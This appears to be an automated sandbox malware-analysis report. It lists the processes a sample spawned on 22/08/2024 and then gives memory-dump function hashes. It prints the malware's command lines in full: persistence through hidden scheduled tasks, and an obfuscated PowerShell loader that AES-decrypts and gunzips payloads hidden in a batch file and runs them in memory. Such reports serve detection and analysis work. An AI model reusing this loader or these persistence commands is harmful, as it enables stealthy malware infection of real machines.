Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_616_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\startup_str_616.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	07:11:04
Start date:	22/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	07:11:09
Start date:	22/08/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\startup_str_616.vbs"
Imagebase:	0x7ff6ae140000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	07:11:10
Start date:	22/08/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\startup_str_616.vbs"
Imagebase:	0x7ff6ae140000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	07:11:11
Start date:	22/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\startup_str_616.bat" "
Imagebase:	0x7ff724670000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	07:11:11
Start date:	22/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	07:11:11
Start date:	22/08/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net file
Imagebase:	0x7ff77fed0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	07:11:11
Start date:	22/08/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 file
Imagebase:	0x7ff774490000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	07:11:12
Start date:	22/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose(); $wkaLh.Dispose(); $wkaLh.ToArray();}function execute_function($param_var,$param2_var){ $cDSQK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xoAaG=$cDSQK.EntryPoint; $xoAaG.Invoke($null, $param2_var);}$ASmjg = 'C:\Users\user\AppData\Roaming\startup_str_616.bat';$host.UI.RawUI.WindowTitle = $ASmjg;$eFpSQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ASmjg).Split([Environment]::NewLine);foreach ($lDEYJ in $eFpSQ) { if ($lDEYJ.StartsWith(':: ')) { $dXBjK=$lDEYJ.Substring(3); break; }}$payloads_var=[string[]]$dXBjK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	07:11:20
Start date:	22/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "e45iasd" /tr "C:\Users\user\AppData\Local\Temp\e45iasd.exe"
Imagebase:	0x7ff764ff0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	07:11:20
Start date:	22/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	07:11:23
Start date:	22/08/2024
Path:	C:\Users\user\AppData\Local\Temp\e45iasd.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\e45iasd.exe
Imagebase:	0x7ff6d0730000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	07:11:23
Start date:	22/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	07:11:33
Start date:	22/08/2024
Path:	C:\Users\user\AppData\Local\Temp\e45iasd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\e45iasd.exe"
Imagebase:	0x7ff6d0730000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	07:11:33
Start date:	22/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	07:11:41
Start date:	22/08/2024
Path:	C:\Users\user\AppData\Local\Temp\e45iasd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\e45iasd.exe"
Imagebase:	0x7ff6d0730000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	07:11:41
Start date:	22/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 00007FF886C4B646 Relevance: .5, Instructions: 474COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1564819322.00007FF886C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886C40000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88e6de7bb604619d89e57c1e9c4870351c0cf46e3bc70cdcc53d0bc93cb10497
Instruction ID: d36b758b90c709bf9931126540d744dce87b79efbf2ed3c2a887b4de41d70464
Opcode Fuzzy Hash: 88e6de7bb604619d89e57c1e9c4870351c0cf46e3bc70cdcc53d0bc93cb10497
Instruction Fuzzy Hash: A6F18430918A4D8FEBA9DF28C8557E93BE2FF54350F04426EE84DC7291DB389945CB82

Function 00007FF886C4C3F2 Relevance: .5, Instructions: 460COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1564819322.00007FF886C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886C40000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e19536276fc622d39a65da91365b50f1c4d3a0a38d1ca1e2b9e5e997c8316ba3
Instruction ID: f8acd2f43ea856e5cbe725a0eb2e2ea914de692be4c2f9cb6b0c017c802648f3
Opcode Fuzzy Hash: e19536276fc622d39a65da91365b50f1c4d3a0a38d1ca1e2b9e5e997c8316ba3
Instruction Fuzzy Hash: EAE18130908A4D8FEBA8DF28C8557E977D1FF54350F14426EE84DC7291DE789945CB82

Function 00007FF886D12D07 Relevance: 1.8, Strings: 1, Instructions: 560COMMON

Download Yara Rule

Strings

., xrefs: 00007FF886D12F68

Memory Dump Source

Source File: 00000005.00000002.1565520596.00007FF886D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886D10000, based on PE: false

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: 7172c901f7ab5bd5cfa416b64a5a7a9e5cf502126c94d5835d80650cf9f58086
Instruction ID: 27bc5b2618b4901cf482b855df537c1511f46a83e3465acacff6a30be67a9fd3
Opcode Fuzzy Hash: 7172c901f7ab5bd5cfa416b64a5a7a9e5cf502126c94d5835d80650cf9f58086
Instruction Fuzzy Hash: 1F02362290D7C95FE3579B3898566A1BFE0FF47260F0901FBD08ACB0A3E95A9C45C352

Function 00007FF886D16D6D Relevance: 1.8, Strings: 1, Instructions: 545COMMON

Download Yara Rule

Strings

m, xrefs: 00007FF886D16E44

Memory Dump Source

Source File: 00000005.00000002.1565520596.00007FF886D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886D10000, based on PE: false

Similarity

API ID:
String ID: m
API String ID: 0-3775001192
Opcode ID: dede6579374bd57d334475e1ca73ebb1fdd1457aa9a136c872ff7444988b58c9
Instruction ID: ef17080f7ccc2bb81880fb834e5974d75ad20a4689dd4d293f006293f2ae8021
Opcode Fuzzy Hash: dede6579374bd57d334475e1ca73ebb1fdd1457aa9a136c872ff7444988b58c9
Instruction Fuzzy Hash: 7EF1073190D7C94FD756DB2898155B4BFE1FF96260B0902FBD08EC71A3DA1AAC06C792

Function 00007FF886C4CF68 Relevance: 1.7, Strings: 1, Instructions: 418COMMON

Download Yara Rule

Strings

TM_H, xrefs: 00007FF886C4D06D

Memory Dump Source

Source File: 00000005.00000002.1564819322.00007FF886C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886C40000, based on PE: false

Similarity

API ID:
String ID: TM_H
API String ID: 0-1481494851
Opcode ID: b110160e3b36a3e16d2988f21a5d61c8c39cbf3f029c0821fdd92d6b912bdb21
Instruction ID: 86688ad195fe92e5cbf8ce2825cb41efa806a63d9fdaacfc22dd3ecc20c07f33
Opcode Fuzzy Hash: b110160e3b36a3e16d2988f21a5d61c8c39cbf3f029c0821fdd92d6b912bdb21
Instruction Fuzzy Hash: CFD17230A5868A4FE789EB78C4157A977E2FF59390F5401BAD04DCB2E2DE2CAC41C751

Function 00007FF886D16603 Relevance: .9, Instructions: 916COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1565520596.00007FF886D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886D10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bba2067d36d7826f2f807709e31a4ee03d47abd1233b9ec9a9fe391a046cf901
Instruction ID: 171dc657ca5a6f8561c31379eca0b102f578ef84c9902864c8786e5936e094fa
Opcode Fuzzy Hash: bba2067d36d7826f2f807709e31a4ee03d47abd1233b9ec9a9fe391a046cf901
Instruction Fuzzy Hash: CB424531E0DBC94FE7969B285855AB5BBE1FF96360B0801BBD04EC7193ED5AAC05C381

Function 00007FF886D10F18 Relevance: .5, Instructions: 490COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1565520596.00007FF886D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886D10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df2cd7aee144dd11caf3fa9c7367ee5340cbfb163bb20239deeb013609e3e47e
Instruction ID: 87cf2a861284a73c83259f96378ad1f89009d1b89ffedd0a646b40813bf00184
Opcode Fuzzy Hash: df2cd7aee144dd11caf3fa9c7367ee5340cbfb163bb20239deeb013609e3e47e
Instruction Fuzzy Hash: EFE12131A0DBCA4FE7A69B6858512B4BBE1FF562A0B0801FBD04ECB1D3D959AC46C351

Function 00007FF886C47A80 Relevance: .4, Instructions: 444COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1564819322.00007FF886C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886C40000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f7f7cef3904a45c975c5a2cced916ac75f29ef2d873d9be4493a80ad57d0993
Instruction ID: f426128650079e13c905a68a4d2582956ab9ca1a0e69c1f3e3c1b8e1d51eba9e
Opcode Fuzzy Hash: 0f7f7cef3904a45c975c5a2cced916ac75f29ef2d873d9be4493a80ad57d0993
Instruction Fuzzy Hash: EF512320A1DA894FE34AEB6CA855675BBE1FF46350B1401FAD04DC7293DD28EC06C762

Function 00007FF886D113D4 Relevance: .4, Instructions: 390COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1565520596.00007FF886D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886D10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb5b4692ed45426b4e75c0a3183601ca211dc155f6cb09cb69c655f9ed1b97f2
Instruction ID: 6510095e379391dfe5853098b6a65602ddeb6068c2f7938b39a71ef4f0b9071e
Opcode Fuzzy Hash: cb5b4692ed45426b4e75c0a3183601ca211dc155f6cb09cb69c655f9ed1b97f2
Instruction Fuzzy Hash: 08C12731E0CE4A4FE7A5DA2C58546B5B7E1FF99764B5802BED00EC3192DE6AEC01C381

Function 00007FF886C4D6A9 Relevance: .3, Instructions: 337COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1564819322.00007FF886C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886C40000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec31d9b940b4ef23cecf14a198b88cfc2e20e8d2e67edd455489b767b160bf6a
Instruction ID: 0578e8bb585920b15569d9d5978ab2f7e2dd67972677d8c7b17d9a2b5d1b2581
Opcode Fuzzy Hash: ec31d9b940b4ef23cecf14a198b88cfc2e20e8d2e67edd455489b767b160bf6a
Instruction Fuzzy Hash: F0A1A31071DA8A4FE74ABB6C942176577D2EF9A390F6401BBE04DCB2D3DD1CAC428356

Function 00007FF886C4C006 Relevance: .3, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1564819322.00007FF886C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886C40000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ecc982e100aa8abc3f8b8494dbd490448402a179e8533d5d878fa1151413394c
Instruction ID: df3139437220a3c05cf55c5af83cc05b1faa8373c5a2137cdf4aa9b5f8212be6
Opcode Fuzzy Hash: ecc982e100aa8abc3f8b8494dbd490448402a179e8533d5d878fa1151413394c
Instruction Fuzzy Hash: 2FB1A430A08A8D8FEB69DF28D8557E93BD1FF55350F04426EE84DC7292CE789945CB82

Function 00007FF886D1151F Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1565520596.00007FF886D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886D10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5548f90a2275e444cb76c0c93aa5f0c683364e715eda696ce15b3408bb8db6c7
Instruction ID: 3a0b98c7233e0be37b3675f22a836d6c9223ee53eb57fbcce3830a7ba88ec3ce
Opcode Fuzzy Hash: 5548f90a2275e444cb76c0c93aa5f0c683364e715eda696ce15b3408bb8db6c7
Instruction Fuzzy Hash: C621D331E0CA494FEBA9DA2C98552B9B7E1FF98394B54027ED04FD3292DE69EC018741

Function 00007FF886C4BB04 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1564819322.00007FF886C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886C40000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38873b19d089f4f4bef8c7a50898922719ec772276cfb57c4b4ecf82fc6c3bf9
Instruction ID: 08a5998fd2d6718cdbd7f84f7d023fb3d94a81d3ba0229ea5ac73ba5ede8598c
Opcode Fuzzy Hash: 38873b19d089f4f4bef8c7a50898922719ec772276cfb57c4b4ecf82fc6c3bf9
Instruction Fuzzy Hash: 5D31073095864ECEFBB8EF25CC5ABF936A6FF41399F400139D40E86196CA386D85CB11

Function 00007FF886D111B6 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1565520596.00007FF886D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886D10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fb4b657caea58129d8d804317c325a4ae9eff48cf5d61550de289fdae2aa753
Instruction ID: 18328aa151a3faf46bc04f7ffbf34128443e08cb3f032973fb23173b5479d621
Opcode Fuzzy Hash: 4fb4b657caea58129d8d804317c325a4ae9eff48cf5d61550de289fdae2aa753
Instruction Fuzzy Hash: 2911A221F1DE4A0BFAAA975C182137992D2EF952A0B9811BAD50EC72C7EC499C119245

Function 00007FF886D1690B Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1565520596.00007FF886D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886D10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d299f6493713c1abb1ea6ea9b384afff23fb53c0f694ca86c934c2abfa107657
Instruction ID: be2f089afc3a960f65ace6998764bde936b0199ccfc06dbd9d0c45f094664b88
Opcode Fuzzy Hash: d299f6493713c1abb1ea6ea9b384afff23fb53c0f694ca86c934c2abfa107657
Instruction Fuzzy Hash: 35110822F0DA9A0BF69B975C142177592C2EF897A0F9800BAD40EC31C7ED0DAC018241

Function 00007FF886C44EF5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1564819322.00007FF886C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886C40000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6953e77ffead2d3381b11e48d5414f0e4abd3ee007726cde7a779ef7e14603f
Instruction ID: 7048869521c1de18792688d6b4d7999561f99ef16c7c9e64030e2104b7937f3a
Opcode Fuzzy Hash: d6953e77ffead2d3381b11e48d5414f0e4abd3ee007726cde7a779ef7e14603f
Instruction Fuzzy Hash: DC01677115CB0C8FD748EF4CE451AA5B7E0FB95364F10056DE58AC3651D736E881CB46

Function 00007FF886D17750 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1565520596.00007FF886D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886D10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6a3321362a1d19e68a2bbd8cd10e8e289ebfc15e221579e34bdf9bb402fec63
Instruction ID: 0b2a5a4f52caf0cdef8efa4dea1a8947cfefc775b481d1031b1f7de1841a144f
Opcode Fuzzy Hash: c6a3321362a1d19e68a2bbd8cd10e8e289ebfc15e221579e34bdf9bb402fec63
Instruction Fuzzy Hash: DFF09032B1CA084FA798DA1C98451BAB3E2FB99126745417FD18FC7562DA2298028700

Function 00007FF886C4CC11 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1564819322.00007FF886C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886C40000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d88204f4171ac09029190e9b56be8c6979f3e90aef7e39097de7fc36a500121
Instruction ID: a84adfcd9260462ac084e6d13eb892928e9f2872d230a7288c7dc85bcd3137aa
Opcode Fuzzy Hash: 8d88204f4171ac09029190e9b56be8c6979f3e90aef7e39097de7fc36a500121
Instruction Fuzzy Hash: 0AD02B11C1CE950BC7295278380E4E02EA09F1612074B02EBE018C75D7E54E4C85C3D1

Non-executed Functions

Function 00007FF886C4B149 Relevance: .4, Instructions: 414COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1564819322.00007FF886C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886C40000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7156ca663e2c5092032a2f3194f38a79ede642910510c2f1b34e83629570ff64
Instruction ID: eceda0f093819b444b5f91863a2bf226d88851b9c74bc1734633b34484794826
Opcode Fuzzy Hash: 7156ca663e2c5092032a2f3194f38a79ede642910510c2f1b34e83629570ff64
Instruction Fuzzy Hash: 41D1A330918A898FEB68DF28C8557E97BD2FF55350F04426EE84DC7291CF78A845CB82

Analysis Process: powershell.exePID: 8092, Parent PID: 7900COMMON

Executed Functions

Function 00007FF886B3E7C7 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1431529891.00007FF886B3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886B3D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 380d20f1c162c5e13ec5afd56cce8347c7b81462b99bf0f765983b5ee01a3f18
Instruction ID: 5a0c254ad0cac983da6bcd4e6a499f583d9ac113e2810c7d0edaf591afad7685
Opcode Fuzzy Hash: 380d20f1c162c5e13ec5afd56cce8347c7b81462b99bf0f765983b5ee01a3f18
Instruction Fuzzy Hash: 8B41233180DBC68FE3569B38A8458523FF0FF56364B1905EFD088CB0A3D628AC46C792

Function 00007FF886C5B868 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1432019030.00007FF886C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886C50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a428f8809fcedbf251dd4832aedb48c48465b3fcb3d8d4b3b4cb6677e84e5be
Instruction ID: 8fe995edc20ac0284744af27699bd5485a44b6a8116a4381b822a88c07012402
Opcode Fuzzy Hash: 2a428f8809fcedbf251dd4832aedb48c48465b3fcb3d8d4b3b4cb6677e84e5be
Instruction Fuzzy Hash: 12210A3190CA4C8FDB58DF9CD84A7E97FE1EBA5321F04412BD448C3152DA74941ACB92

Function 00007FF886C533B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1432019030.00007FF886C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886C50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: 1c7920ea4062687c4cdba900a46f4fc62e4f1ee6efa5599f9ddd47f560b9f5cd
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: A401A73015CB0C8FD744EF0CE451AA5B3E0FB95360F10052DE58AC3661DA36E882CB42

Function 00007FF886D24E1D Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1432428045.00007FF886D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886D20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69d458b5802c2c4beb45cd0f045520eb1c4823e05f154004173838ddf0760cd7
Instruction ID: 6b86b47b0a964339608f33bd5931d926cedceeee6b803046129843171b0bd082
Opcode Fuzzy Hash: 69d458b5802c2c4beb45cd0f045520eb1c4823e05f154004173838ddf0760cd7
Instruction Fuzzy Hash: C0F0BE32A1C9448FE668EB5CE4408E873E0FF4432071001BAE02EC71A3CB2AFC40CB41

Function 00007FF886D250D0 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1432428045.00007FF886D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886D20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c00db0f604f39ea398d16904633f65abb4132539b806eb1e75661e39da6a82d
Instruction ID: 888d6222d99960779a3ed1e4d8bfa04df0f66b24b908a58e68d468dc93909cb6
Opcode Fuzzy Hash: 2c00db0f604f39ea398d16904633f65abb4132539b806eb1e75661e39da6a82d
Instruction Fuzzy Hash: 3AF05E31A1C5448FE75AEB5CE4419E877E0FF0536071401B6E01EC7167CA2AEC44CB41

Function 00007FF886D23694 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1432428045.00007FF886D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886D20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a90ea396255cdf9f524ca20315f03f8aa8402de6c88b192c4152f137256b92a7
Instruction ID: d044ff40247501935cc62fb1794fd24d78c52bad4f946eef397ecc317227474a
Opcode Fuzzy Hash: a90ea396255cdf9f524ca20315f03f8aa8402de6c88b192c4152f137256b92a7
Instruction Fuzzy Hash: 64F0A03171CF044FE748EE2DE4497A2B7E0FBA8354F10462FE44AC3251DA25E8818782

Function 00007FF886C5B6C8 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1432019030.00007FF886C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886C50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a84dda7dd64f3ef2fec95b18bef45aaa81197ee8d18c8465fe0f7ba675c653b
Instruction ID: 80759f74f5a597154104b77e57c65b24d6960b318d0a0eab9f0215e3976e2e91
Opcode Fuzzy Hash: 0a84dda7dd64f3ef2fec95b18bef45aaa81197ee8d18c8465fe0f7ba675c653b
Instruction Fuzzy Hash: F0E01A75814A4D8F8B48EF28D8594E97FE0FF69221B44029AE91DC7160DB719958CBC2

Analysis Process: e45iasd.exePID: 2524, Parent PID: 3504COMMON

Executed Functions

Function 00007FF886C5D4F9 Relevance: 1.7, APIs: 1, Instructions: 241fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 00007FF886C5D6CE

Memory Dump Source

Source File: 00000018.00000002.2816969426.00007FF886C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886C50000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
